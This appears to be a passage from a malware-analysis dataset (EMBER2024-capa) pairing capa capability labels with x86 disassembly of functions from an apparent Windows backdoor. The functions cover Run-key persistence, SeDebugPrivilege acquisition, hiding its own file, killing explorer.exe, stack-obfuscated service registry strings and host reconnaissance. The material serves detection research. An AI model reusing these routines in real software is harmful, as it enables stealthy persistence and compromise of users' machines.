joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000269e
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x348
push ebx
and byte [ebp - 0x140], 0
push esi
push edi
push 0x40
xor eax, eax
pop ebx
lea edi, [ebp - 0x13f]
mov ecx, ebx
and byte [ebp - 0x348], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, ebx
xor eax, eax
lea edi, [ebp - 0x347]
and byte [ebp - 0x244], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, ebx
xor eax, eax
lea edi, [ebp - 0x243]
mov esi, 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x140]
push esi
xor edi, edi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x140]
push esi
push eax
lea eax, [ebp - 0x140]
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
lea eax, [ebp - 0x348]
push esi
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x244]
push str._c_attrib
push eax
call esi
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x244]
push eax
call esi
lea eax, [ebp - 0x244]
push str._s_h
push eax
call esi
lea eax, [ebp - 0x348]
mov dword [ebp - 0x3c], 0x3c
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x244]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x30], str.Open
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x38], ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x100027d6
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push ebx
push dword [ebp - 4]
call esi
push pe_nt_image_headers32
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
lea eax, [ebp - 0x140]
push edi
push eax
push 1
push 4
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
push 1
pop eax
jmp 0x100027d8
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100027dd
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push ebx
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x49
mov ebx, eax
pop ecx
xor eax, eax
lea edi, [ebp - 0x124]
mov dword [ebp - 0x128], 0x128
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x128]
push eax
push ebx
call sub.KERNEL32.dll_Process32First
lea eax, [ebp - 0x104]
push str.explorer.exe
push eax
call dword [sym.imp.MSVCRT.dll__strcmpi]
pop ecx
test eax, eax
pop ecx
jne 0x1000284b
push dword [ebp - 0x120]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
je 0x1000284b
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea eax, [ebp - 0x128]
push eax
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10002817
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor eax, eax
pop ebx
leave
ret
Function at 0x10002876
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
and byte [ebp - 0x108], 0
push esi
push edi
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x107]
mov esi, 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x108]
push esi
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100028ed
lea eax, [ebp - 0x108]
push esi
push eax
push 1
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
xor al, al
pop esi
leave
ret

Function at 0x100028f3
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
lea eax, [ebp - 4]
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea eax, [ebp - 0x10]
mov dword [ebp - 0x14], 1
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push 0
push 0
lea eax, [ebp - 0x14]
push 0x10
push eax
push 0
push dword [ebp - 4]
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
leave
ret

Function at 0x1000294e
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
lea eax, [ebp - 4]
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x100029ac
lea eax, [ebp - 0x10]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push 0
push 0
lea eax, [ebp - 0x14]
push 0x10
push eax
push 0
push dword [ebp - 4]
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
neg eax
sbb eax, eax
inc eax
leave
ret
push 1
pop eax
leave
ret
Function at 0x10002b1e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x560
push ebx
push esi
push edi
xor ebx, ebx
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x55f]
mov byte [ebp - 0x560], bl
rep stosd dword es:[edi], eax
push dword [ebp + 8]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x4c]
mov byte [ebp - 0x4c], 0x53
push eax
lea eax, [ebp - 0x560]
push eax
mov byte [ebp - 0x4b], 0x59
mov byte [ebp - 0x4a], 0x53
mov byte [ebp - 0x49], 0x54
mov byte [ebp - 0x48], 0x45
mov byte [ebp - 0x47], 0x4d
mov byte [ebp - 0x46], 0x5c
mov byte [ebp - 0x45], 0x43
mov byte [ebp - 0x44], 0x75
mov byte [ebp - 0x43], 0x72
mov byte [ebp - 0x42], 0x72
mov byte [ebp - 0x41], 0x65
mov byte [ebp - 0x40], 0x6e
mov byte [ebp - 0x3f], 0x74
mov byte [ebp - 0x3e], 0x43
mov byte [ebp - 0x3d], 0x6f
mov byte [ebp - 0x3c], 0x6e
mov byte [ebp - 0x3b], 0x74
mov byte [ebp - 0x3a], 0x72
mov byte [ebp - 0x39], 0x6f
mov byte [ebp - 0x38], 0x6c
mov byte [ebp - 0x37], 0x53
mov byte [ebp - 0x36], 0x65
mov byte [ebp - 0x35], 0x74
mov byte [ebp - 0x34], 0x5c
mov byte [ebp - 0x33], 0x53
mov byte [ebp - 0x32], 0x65
mov byte [ebp - 0x31], 0x72
mov byte [ebp - 0x30], 0x76
mov byte [ebp - 0x2f], 0x69
mov byte [ebp - 0x2e], 0x63
mov byte [ebp - 0x2d], 0x65
mov byte [ebp - 0x2c], 0x73
mov byte [ebp - 0x2b], 0x5c
mov byte [ebp - 0x2a], 0x25
mov byte [ebp - 0x29], 0x73
mov byte [ebp - 0x28], bl
call esi
add esp, 0xc
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x15f]
mov byte [ebp - 0x160], bl
mov byte [ebp - 0x24], 0x25
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x23], 0x34
mov byte [ebp - 0x22], 0x64
mov byte [ebp - 0x21], 0x2d
mov byte [ebp - 0x20], 0x25
mov byte [ebp - 0x1f], 0x2e
mov byte [ebp - 0x1e], 0x32
mov byte [ebp - 0x1d], 0x64
mov byte [ebp - 0x1c], 0x2d
mov byte [ebp - 0x1b], 0x25
mov byte [ebp - 0x1a], 0x2e
mov byte [ebp - 0x19], 0x32
mov byte [ebp - 0x18], 0x64
mov byte [ebp - 0x17], 0x20
movzx eax, word [ebp - 0x52]
push eax
mov byte [ebp - 0x16], 0x25
movzx eax, word [ebp - 0x54]
push eax
mov byte [ebp - 0x15], 0x2e
movzx eax, word [ebp - 0x56]
push eax
mov byte [ebp - 0x14], 0x32
movzx eax, word [ebp - 0x5a]
push eax
mov byte [ebp - 0x13], 0x64
movzx eax, word [ebp - 0x5c]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x160]
push eax
mov byte [ebp - 0x12], 0x3a
mov byte [ebp - 0x11], 0x25
mov byte [ebp - 0x10], 0x2e
mov byte [ebp - 0xf], 0x32
mov byte [ebp - 0xe], 0x64
mov byte [ebp - 0xd], bl
call esi
add esp, 0x1c
lea eax, [ebp - 0x160]
mov byte [ebp - 0xc], 0x4d
mov byte [ebp - 0xb], 0x61
push ebx
push eax
mov byte [ebp - 0xa], 0x72
mov byte [ebp - 9], 0x6b
mov byte [ebp - 8], 0x54
mov byte [ebp - 7], 0x69
mov byte [ebp - 6], 0x6d
mov byte [ebp - 5], 0x65
mov byte [ebp - 4], bl
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x160]
push eax
lea eax, [ebp - 0xc]
push 1
push eax
lea eax, [ebp - 0x560]
push eax
push 0x80000002
call fcn.100063df
add esp, 0x1c
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10003055
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.Ole32.dll
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
push str.CoInitialize
push ebx
call esi
push str.CoUninitialize
push ebx
mov dword [ebp - 0x10], eax
call esi
push str.CoCreateInstance
push ebx
mov dword [ebp - 0x24], eax
call esi
push str.Oleaut32.dll
mov dword [ebp - 0x18], eax
call edi
push str.SysFreeString
push eax
mov dword [ebp - 0x14], eax
call esi
xor esi, esi
mov edi, eax
push esi
call dword [ebp - 0x10]
lea eax, [ebp - 0x1c]
mov dword [ebp - 0xc], esi
push eax
push 0x100072b8
push 1
push esi
push 0x100072d8
call dword [ebp - 0x18]
test eax, eax
jne 0x100030e0
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 4]
push esi
push edx
mov ecx, dword [eax]
push 0x100072c8
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x100030e7
xor eax, eax
jmp 0x10003175
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x20]
push edx
lea edx, [ebp - 8]
mov ecx, dword [eax]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x10003158
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x10]
push edx
push 0x100072a0
mov ecx, dword [eax]
push esi
push esi
push eax
call dword [ecx + 0x24]
test eax, eax
jl 0x1000314d
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x34]
push esi
mov word [ebp - 0x34], 8
mov ecx, dword [eax]
push edx
push str.FriendlyName
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x10003144
push dword [ebp - 0x2c]
inc dword [ebp - 0xc]
call edi
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
jmp 0x100030f0
call dword [ebp - 0x24]
mov edi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp ebx, esi
je 0x10003168
push ebx
call edi
cmp dword [ebp - 0x14], esi
je 0x10003172
push dword [ebp - 0x14]
call edi
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000321d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
push ebx
push edi
push dword [ebp + 0x14]
xor ebx, ebx
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x427]
mov byte [ebp - 0x428], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push dword [ebp + 0x10]
stosb byte es:[edi], al
call sub.MSVCRT.dll_memset
push 0x400
lea eax, [ebp - 0x428]
push ebx
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
lea eax, [ebp - 0x28]
mov byte [ebp - 0x28], 0x53
mov byte [ebp - 0x27], 0x59
push eax
lea eax, [ebp - 0x428]
push eax
mov byte [ebp - 0x26], 0x53
mov byte [ebp - 0x25], 0x54
mov byte [ebp - 0x24], 0x45
mov byte [ebp - 0x23], 0x4d
mov byte [ebp - 0x22], 0x5c
mov byte [ebp - 0x21], 0x43
mov byte [ebp - 0x20], 0x75
mov byte [ebp - 0x1f], 0x72
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], 0x6e
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x43
mov byte [ebp - 0x19], 0x6f
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x6c
mov byte [ebp - 0x13], 0x53
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x74
mov byte [ebp - 0x10], 0x5c
mov byte [ebp - 0xf], 0x53
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x72
mov byte [ebp - 0xc], 0x76
mov byte [ebp - 0xb], 0x69
mov byte [ebp - 0xa], 0x63
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0x5c
mov byte [ebp - 6], 0x25
mov byte [ebp - 5], 0x73
mov byte [ebp - 4], bl
call dword [sym.imp.USER32.dll_wsprintfA]
push ebx
lea eax, [ebp - 0x428]
push dword [ebp + 0x14]
push ebx
push dword [ebp + 0x10]
push 1
push dword [ebp + 0xc]
push eax
push 0x80000002
call fcn.1000616e
add esp, 0x44
pop edi
pop ebx
leave
ret
Function at 0x1000341b
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.userenv.dll
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.CreateEnvironmentBlock
push eax
mov dword [ebp - 0x14], eax
call ebx
mov dword [ebp - 0x18], eax
xor esi, esi
push 0x44
lea eax, [ebp - 0x6c]
push esi
push eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
call sub.MSVCRT.dll_memset
push 0x10
lea eax, [ebp - 0x28]
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x6c], 0x44
mov dword [ebp - 0x64], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [ebp - 8]
push ecx
push 0xf01ff
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea eax, [ebp - 4]
push eax
push 1
push 1
push esi
push 0x2000000
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
push str.WTSGetActiveConsoleSessionId
push str.Kernel32.dll
call edi
push eax
call ebx
cmp eax, esi
je 0x1000351f
call eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push 4
push eax
push 0xc
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
push esi
lea eax, [ebp - 0x10]
push dword [ebp - 4]
push eax
call dword [ebp - 0x18]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x6c]
push eax
push esi
push dword [ebp - 0x10]
push 0x430
push esi
push esi
push esi
push dword [ebp + 8]
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
push dword [ebp - 4]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp - 0x28]
call edi
push dword [ebp - 8]
call edi
jmp 0x10003521
xor ebx, ebx
cmp dword [ebp - 0x14], esi
je 0x1000352f
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret

Function at 0x10003536
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push 0
push eax
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
je 0x10003591
mov eax, dword [ebp - 4]
mov ecx, eax
and ecx, 1
cmp cl, 1
jne 0x1000355e
mov eax, str.MODEM_l
leave
ret
mov ecx, eax
and ecx, 2
cmp cl, 2
jne 0x1000356f
mov eax, str.LAN_l
leave
ret
mov ecx, eax
and ecx, 4
cmp cl, 4
jne 0x10003580
mov eax, str.PROXY_l
leave
ret
and eax, 8
cmp al, 8
mov eax, str.BUSY_l
je 0x10003591
mov eax, str.OTHER_l
leave
ret
Function at 0x100037fc
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30c
and byte [ebp - 0x208], 0
push ebx
push esi
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x207]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 5
mov ebx, str.CTXOPConntion_Class
pop ecx
mov esi, ebx
lea edi, [ebp - 0x104]
push 0x3c
rep movsd dword es:[edi], dword [esi]
pop ecx
xor eax, eax
and byte [ebp - 0x30c], al
lea edi, [ebp - 0xf0]
rep stosd dword es:[edi], eax
push 0x40
lea edi, [ebp - 0x30b]
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x104]
push 0
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
mov edi, eax
test edi, edi
je 0x10003907
mov esi, 0x104
lea eax, [ebp - 0x104]
push ebx
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x100038e5
lea eax, [ebp - 0x104]
push esi
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp - 0x104]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
dec eax
cmp byte [ebp + eax - 0x104], 0x5f
jne 0x1000389f
lea eax, [ebp + eax - 0x103]
push eax
lea eax, [ebp - 0x30c]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x30c]
push eax
lea eax, [ebp - 0x208]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x208]
push 0x100090f8
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x18
push 2
push edi
call dword [sym.imp.USER32.dll_GetWindow]
mov edi, eax
lea eax, [ebp - 0x104]
push esi
push eax
push edi
call dword [sym.imp.USER32.dll_GetClassNameA]
test edi, edi
jne 0x10003870
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x208]
push eax
call fcn.10003593
lea eax, [ebp - 0x208]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
cmp eax, 4
pop ecx
pop edi
pop esi
pop ebx
lea eax, [ebp - 0x208]
ja 0x1000393b
mov eax, str.NULL
leave
ret
Function at 0x1000393d
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x354
push ebx
push esi
push edi
mov esi, 0x104
xor edi, edi
push esi
lea eax, [ebp - 0x160]
push edi
push eax
mov dword [ebp - 8], esi
call sub.MSVCRT.dll_memset
push 0x2e
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 0x14
cmp eax, edi
je 0x10003a03
lea ecx, [ebp - 4]
push ecx
push 0xf003f
push edi
push eax
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10003a03
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x160]
push eax
push edi
push dword [ebp - 4]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
call edi
push dword [ebp - 4]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call ebx
push 0x1f4
lea eax, [ebp - 0x354]
push 0
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x160]
push eax
lea eax, [ebp - 0x354]
push str._s_shellopencommand
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [ebp - 4]
push eax
push 0xf003f
lea eax, [ebp - 0x354]
push 0
push eax
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x10003a0a
xor al, al
jmp 0x10003aca
push esi
lea eax, [ebp - 0x160]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 8]
mov dword [ebp - 8], esi
xor esi, esi
push eax
lea eax, [ebp - 0x160]
push eax
push esi
push dword [ebp - 4]
call edi
push dword [ebp - 4]
call ebx
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
lea eax, [ebp - 0x160]
push 0x10009100
push eax
call edi
pop ecx
cmp eax, esi
pop ecx
jne 0x10003a87
lea eax, [ebp - 0x160]
push 0x100090fc
push eax
call edi
pop ecx
cmp eax, esi
pop ecx
jne 0x10003a87
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x160]
push 0x100090f8
push eax
call edi
push dword [ebp + 8]
lea eax, [ebp - 0x160]
push eax
call edi
jmp 0x10003a91
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x10
xor eax, eax
cmp dword [ebp + 0xc], esi
pop ecx
lea edi, [ebp - 0x58]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x5c], 0x44
je 0x10003aae
mov dword [ebp - 0x54], str.WinSta0Default
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x5c]
push eax
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x160]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10003c70
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4a8
push ebx
push esi
push edi
xor esi, esi
push 0x20
lea eax, [ebp - 0x2a3]
push esi
push eax
mov byte [ebp - 0x2a4], 0xc8
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x2a3]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x2a3]
push esi
push eax
push 1
lea eax, [ebp - 0x3a8]
push str.Group
push eax
push 0x80000002
call fcn.1000616e
push 0x10
lea eax, [ebp - 0x28]
pop edi
push edi
push esi
push eax
call sub.MSVCRT.dll_memset
mov ebx, dword [ebp + 8]
add esp, 0x2c
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], edi
push eax
lea eax, [ebp - 0x28]
push eax
push dword [ebx + 0x48]
call dword [0x1000ad0c]
lea eax, [ebp - 0x24]
push 4
push eax
lea eax, [ebp - 0x280]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x3a8]
push eax
lea eax, [ebp - 0x27c]
push 0x32
push eax
call fcn.100031d4
add esp, 0x18
lea eax, [ebp - 0x234]
mov dword [ebp - 0x234], 0x9c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [ebp - 0x228]
push eax
lea eax, [ebp - 0x22c]
push eax
lea eax, [ebp - 0x230]
push eax
call fcn.100033d3
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
call fcn.100033d3
add esp, 0x18
test eax, eax
je 0x10003d7c
mov eax, dword [ebp - 4]
mov dword [ebp - 0x198], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x194], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x190], eax
call fcn.1000332c
test eax, eax
setne al
mov byte [ebp - 0x170], al
lea eax, [ebp - 0x18c]
push eax
call fcn.1000317a
pop ecx
call fcn.100037fc
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push eax
lea eax, [ebp - 0x10e]
push eax
call edi
call fcn.10003b4a
push eax
lea eax, [ebp - 0x136]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
lea eax, [ebp - 0x18]
pop ecx
mov dword [ebp - 0xec], esi
push eax
mov dword [ebp - 0x18], 8
call dword [sym.imp.USER32.dll_GetLastInputInfo]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0x14]
cmp eax, 0x2bf20
jbe 0x10003df3
mov dword [ebp - 0xec], 1
lea eax, [ebp - 0x68]
mov dword [ebp - 0x68], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [ebp - 0x60]
mov edx, dword [ebp - 0x5c]
push 0x14
pop ecx
call fcn.100066c0
mov dword [ebp - 0x16c], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x178], eax
call fcn.10003055
mov dword [ebp - 0x174], eax
call fcn.10003536
push eax
lea eax, [ebp - 0x24a]
push eax
call edi
lea eax, [ebp - 0xe8]
push 0x80
push eax
push str.RDP_Tcp
call fcn.10003acf
lea eax, [ebp - 0x168]
push 0x32
push eax
lea eax, [ebp - 0x4a8]
push eax
call fcn.1000336c
add esp, 0x18
lea eax, [ebp - 0x2a4]
mov ecx, ebx
push 0x23c
push eax
call fcn.10001935
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10003e81
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push ebx
xor ebx, ebx
push edi
push ebx
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
lea eax, [ebp - 0x128]
push eax
push edi
mov dword [ebp - 0x128], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10003ef2
lea eax, [ebp - 0x128]
mov dword [ebp - 0x128], 0x128
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x10003ee9
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x10003eb3
mov ebx, dword [ebp - 0x120]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop edi
pop ebx
leave
ret